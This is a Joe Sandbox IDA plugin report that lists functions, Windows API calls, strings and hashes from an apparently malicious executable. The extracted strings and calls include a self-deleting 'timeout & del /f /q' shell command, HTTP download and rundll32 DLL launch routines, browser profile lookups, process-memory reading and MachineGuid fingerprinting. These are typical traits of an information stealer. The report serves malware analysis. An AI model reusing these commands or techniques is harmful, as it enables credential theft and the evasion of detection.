Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 442264750-1805413626
Opcode ID: 8c549f9e6c3a38d0d8b8d9c906f89390bcfd24b67ea2e21b5078c2165d75efa5
Instruction ID: db9b65f6ff3aa58b69ab7c80ee4b507d2baca41c59675a027e4a866d6253625d
Opcode Fuzzy Hash: 8c549f9e6c3a38d0d8b8d9c906f89390bcfd24b67ea2e21b5078c2165d75efa5
Instruction Fuzzy Hash: FC5165B1A00219BBDB20DBA5DD45FAF77B9EB88701F005129FB05B72C1D7749E058BA4

Function 00410420 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 124memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0041043C
GetVolumeInformationA.KERNEL32({kA,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00410475
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004104BF
HeapAlloc.KERNEL32(00000000), ref: 004104C6
wsprintfA.USER32 ref: 004104F9
lstrcatA.KERNEL32(00000000,004238B4), ref: 00410508
GetCurrentHwProfileA.ADVAPI32(?), ref: 00410515
lstrlenA.KERNEL32(00000000,Unknown), ref: 0041053E
lstrcatA.KERNEL32(00000000,00000000), ref: 00410568

Strings

{kA, xrefs: 00410464, 00410467
C, xrefs: 00410446
{kA:\, xrefs: 0041057F, 004104D2
Unknown, xrefs: 00410528

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heaplstrcat$AllocCurrentDirectoryInformationProcessProfileVolumeWindowslstrlenwsprintf
String ID: C$Unknown${kA${kA:\
API String ID: 3099411152-4130650692
Opcode ID: a6a328dd6331b7e02a1d71d5c5ca8fd2a58a50d3c2c538d52779942ee998bef1
Instruction ID: 2c5738cd0ea039ca6d181a749ddccaa7ec64b74ae76ae9b2a1b3dd877f563171
Opcode Fuzzy Hash: a6a328dd6331b7e02a1d71d5c5ca8fd2a58a50d3c2c538d52779942ee998bef1
Instruction Fuzzy Hash: 38419171A00218ABDB10EBA4DC46FEE777CEF44705F144169F605B7181EBB85A44CBEA

Function 00413230 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 134COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413249
memset.MSVCRT ref: 00413255
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041326A

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

ShellExecuteEx.SHELL32(0000003C), ref: 004133B5
memset.MSVCRT ref: 004133C2
memset.MSVCRT ref: 004133D4
ExitProcess.KERNEL32 ref: 004133E5

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Strings

/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 0041331A
" & rd /s /q "C:\ProgramData\, xrefs: 004132CC
/c timeout /t 10 & del /f /q ", xrefs: 00413286
" & exit, xrefs: 0041330F, 0041335D
<, xrefs: 0041338D

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\$<
API String ID: 1134881415-1686486140
Opcode ID: f5ef1bde2209cb44bd9b2305c3485f3a3ad62387029d00b8421b7b3c7d02bf74
Instruction ID: 508ff9f4bbc4465125e6e9774ac16dc64dc0f0eb0a86ee04c305785364366d08
Opcode Fuzzy Hash: f5ef1bde2209cb44bd9b2305c3485f3a3ad62387029d00b8421b7b3c7d02bf74
Instruction Fuzzy Hash: 1451EAB2C10118AACB15FFA1DC92DEEB778AF14704F50817EB21672491EB78674DCB98

Function 00416510 Relevance: 20.5, APIs: 4, Strings: 7, Instructions: 1232networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F8A0: lstrlenA.KERNEL32(004176BE,?,00000000,?,00416587,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 0040F8AB
Part of subcall function 0040F8A0: lstrcpyA.KERNEL32(00000000,004176BE), ref: 0040F8E2

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 00411400: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00411439
Part of subcall function 00411400: Process32First.KERNEL32(00000000,00000128), ref: 00411449
Part of subcall function 00411400: Process32Next.KERNEL32(00000000,00000128), ref: 0041145B
Part of subcall function 00411400: StrCmpCA.SHLWAPI(?,00423EE4), ref: 00411470
Part of subcall function 00411400: FindCloseChangeNotification.KERNEL32(00000000), ref: 00411482

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,024BFEB0,00000000,?,004201E9,00000000,004176BE), ref: 00416A16
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00416B22
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00416B3C

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00410420: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0041043C
Part of subcall function 00410420: GetVolumeInformationA.KERNEL32({kA,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00410475
Part of subcall function 00410420: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004104BF
Part of subcall function 00410420: HeapAlloc.KERNEL32(00000000), ref: 004104C6

Part of subcall function 00403E20: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00403EAC
Part of subcall function 00403E20: StrCmpCA.SHLWAPI(?,024BDE18,?,?,?,?,?,?,00000030), ref: 00403EC7

Part of subcall function 004123F0: StrCmpCA.SHLWAPI(00000000,block,?,00416B9A), ref: 0041240D
Part of subcall function 004123F0: ExitProcess.KERNEL32 ref: 00412418

Part of subcall function 0040E870: StrCmpCA.SHLWAPI(00000000,024BDFA8), ref: 0040E8C0
Part of subcall function 0040E870: StrCmpCA.SHLWAPI(00000000,024BE008), ref: 0040E947

Part of subcall function 00405BB0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405C3C
Part of subcall function 00405BB0: StrCmpCA.SHLWAPI(?,024BDE18,?,?,?,?,?,?,00000030), ref: 00405C57

Part of subcall function 00411F00: strtok_s.MSVCRT ref: 00411F24

Sleep.KERNEL32(000003E8), ref: 00416F45

Part of subcall function 00415D00: lstrcatA.KERNEL32(?,024BFCB8,?,00000104,?,00000104,?,00000104,?,00000104), ref: 00415D5B
Part of subcall function 00415D00: lstrcatA.KERNEL32(?,00000000), ref: 00415D7E
Part of subcall function 00415D00: lstrcatA.KERNEL32(?,?), ref: 00415D9A
Part of subcall function 00415D00: lstrcatA.KERNEL32(?,?), ref: 00415DAE
Part of subcall function 00415D00: lstrcatA.KERNEL32(?,02498E58), ref: 00415DC1
Part of subcall function 00415D00: lstrcatA.KERNEL32(?,?), ref: 00415DD5
Part of subcall function 00415D00: lstrcatA.KERNEL32(?,024C0330), ref: 00415DE9

Part of subcall function 004045D0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000030), ref: 00404641
Part of subcall function 004045D0: StrCmpCA.SHLWAPI(?,024BDE18,004201E9,004201E9,004201E9,004201E9), ref: 004046A6
Part of subcall function 004045D0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004046CC

Strings

.exe, xrefs: 0041693D, 00417293
arp, xrefs: 0041731A
_DEBUG.zip, xrefs: 004173F9
dabl, xrefs: 0041733C
http://, xrefs: 004172F8
org, xrefs: 004173C4
zapto, xrefs: 00417380

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$InternetOpenlstrcpy$lstrlen$CreateDirectoryHeapProcessProcess32$AllocChangeCloseExitFindFirstInformationNextNotificationSleepSnapshotToolhelp32VolumeWindowsstrtok_s
String ID: .exe$_DEBUG.zip$arp$dabl$http://$org$zapto
API String ID: 1055840830-1018522893
Opcode ID: b433f065d575b5fd355346ac8f4bacad3d0ead1fc68a6ea0fe385f035e755d96
Instruction ID: f22d2bd86038d1de50829419776aae838be0a57aa5f174395c24aa0c803a3848
Opcode Fuzzy Hash: b433f065d575b5fd355346ac8f4bacad3d0ead1fc68a6ea0fe385f035e755d96
Instruction Fuzzy Hash: 8AA24472D10114AACB24FB61DC52EEEB778AF54304F50817EE506725D2EF382B4DCAA9

Function 00404E90 Relevance: 15.1, APIs: 10, Instructions: 125networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DA2
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DAF
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DBC
Part of subcall function 00403D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 00403DD6
Part of subcall function 00403D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 00403DE6

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404ED3
StrCmpCA.SHLWAPI(?,024BDE18,?,?,?,?,?,?,00000000), ref: 00404EEE
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,-00800100,00000000), ref: 00404F13
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000,?,?,?,?,?,?,00000000), ref: 00404F36
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00404F4F
WriteFile.KERNEL32(00000000,?,?,0041361C,00000000,?,?,?,?,?,?,00000000), ref: 00404F76
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00404FA0
CloseHandle.KERNEL32(00000000,?,00000400,?,?,?,?,?,?,00000000), ref: 00404FBC
InternetCloseHandle.WININET(00000000), ref: 00404FC3
InternetCloseHandle.WININET(00000000), ref: 00404FCA

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CrackCreateWritelstrcpylstrlen
String ID:
API String ID: 105467990-0
Opcode ID: 67a65968a0dd46d71c910ade9d970147224026b89045e8171dd020c445bd2163
Instruction ID: 49284951317d46ce046ac4b453f539dd1d19b3831e62d401432a72fc81568d3a
Opcode Fuzzy Hash: 67a65968a0dd46d71c910ade9d970147224026b89045e8171dd020c445bd2163
Instruction Fuzzy Hash: F3414FB2610205ABDB20EB71DC46FEE336CEB44704F505139F701B61D1DB78AA09CBA8

Function 0040E870 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 375COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,024BDFA8), ref: 0040E8C0
StrCmpCA.SHLWAPI(00000000,024BE008), ref: 0040E947
StrCmpCA.SHLWAPI(00000000,firefox), ref: 0040ECBD
StrCmpCA.SHLWAPI(00000000,024BDFB8), ref: 0040EA4C

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

StrCmpCA.SHLWAPI(00000000,024BDFA8), ref: 0040EB30
StrCmpCA.SHLWAPI(00000000,024BE008), ref: 0040EBB9

Strings

Stable\, xrefs: 0040E962, 0040EBD4
firefox, xrefs: 0040ECAF

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$firefox
API String ID: 3722407311-3160656979
Opcode ID: ddceee967766e4733b0cc700ffbe42629aec99189380b976368b69e60c1a9e81
Instruction ID: dc9232c6f18d92b7668f1a551db38a5b0db8dd03ba54f88d7fb460d1fcb80d8e
Opcode Fuzzy Hash: ddceee967766e4733b0cc700ffbe42629aec99189380b976368b69e60c1a9e81
Instruction Fuzzy Hash: 97E12371A002049BCB24FF65D956EDE77B9BF44304F40C53EEC49AB691DB38AA08CB95

Function 0040F550 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 192COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040F561
OpenProcess.KERNEL32(001FFFFF,00000000,00000000,00000030), ref: 0040F588
memset.MSVCRT ref: 0040F5E4
ReadProcessMemory.KERNEL32(00000000,00000000,00000000,00000208,00000000), ref: 0040F63C
memset.MSVCRT ref: 0040F6CF

Strings

N0ZWFt, xrefs: 0040F692
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0040F5FA, 0040F6E8

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Processmemset$MemoryOpenRead
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30$N0ZWFt
API String ID: 2048220554-1622206642
Opcode ID: 94c5682253a37105a697971657c54386bbc5455e7de511139793b2f33be81175
Instruction ID: a21cb42e5d324bd6ca82509aa78599428660c3814b2df02d38e35266ba1ec8a6
Opcode Fuzzy Hash: 94c5682253a37105a697971657c54386bbc5455e7de511139793b2f33be81175
Instruction Fuzzy Hash: 93613471E00215AAEB309BA5DC45BAFB7B4AF84314F14453AE408B72C1E77C9948CBA9

Function 00413420 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

ShellExecuteEx.SHELL32(0000003C), ref: 00413667

Strings

"" , xrefs: 004134D2
<, xrefs: 0041363A
C:\ProgramData\, xrefs: 0041344F
.dll, xrefs: 004134B0
O7A, xrefs: 0041360C, 004136C3, 00413611
C:\Windows\system32\rundll32.exe, xrefs: 00413595

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$<$C:\ProgramData\$C:\Windows\system32\rundll32.exe$O7A
API String ID: 2215929589-785807056
Opcode ID: 4e0b2a9fa014d04dc608629bf2a064b0b909d33fd9d9d0cde451eae06aa6f39a
Instruction ID: af7763d1ac9f1e24f06ba5b7101d0506636d2fa2f8484cc67acb28b390f71f36
Opcode Fuzzy Hash: 4e0b2a9fa014d04dc608629bf2a064b0b909d33fd9d9d0cde451eae06aa6f39a
Instruction Fuzzy Hash: 6181C272D10108AADB28FBA1D852DED7778AF54704F50813FB512728E2EF78664DCA98

Function 00403D70 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00403DA2
??_U@YAPAXI@Z.MSVCRT ref: 00403DAF
??_U@YAPAXI@Z.MSVCRT ref: 00403DBC
lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 00403DD6
InternetCrackUrlA.WININET(00000000,00000000), ref: 00403DE6

Strings

<, xrefs: 00403D92
5P@, xrefs: 00403DCD, 00403DDD, 00403DFB

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: 5P@$<
API String ID: 1274457161-3404980136
Opcode ID: b40355fada1ffc56527410c68adb04c67878f60ba432074fde5fcccb0772e96d
Instruction ID: ffcd9b35b4bfddae0e9debaaaaff4d4a67ad705ebd42d737fa1e7e78837649a8
Opcode Fuzzy Hash: b40355fada1ffc56527410c68adb04c67878f60ba432074fde5fcccb0772e96d
Instruction Fuzzy Hash: 23113071D00208ABDB04EFA5DC85BDDB7B8EB44314F10513AFA15B7291EF745505CB98

Function 00410340 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 42registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00410365
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,004201E9), ref: 00410382
RegQueryValueExA.KERNEL32(004201E9,MachineGuid,00000000,00000000,00000000,000000FF), ref: 004103A4
RegCloseKey.ADVAPI32(004201E9), ref: 004103AE
CharToOemA.USER32(00000000,?), ref: 004103C2

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 00410378
MachineGuid, xrefs: 0041039E

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
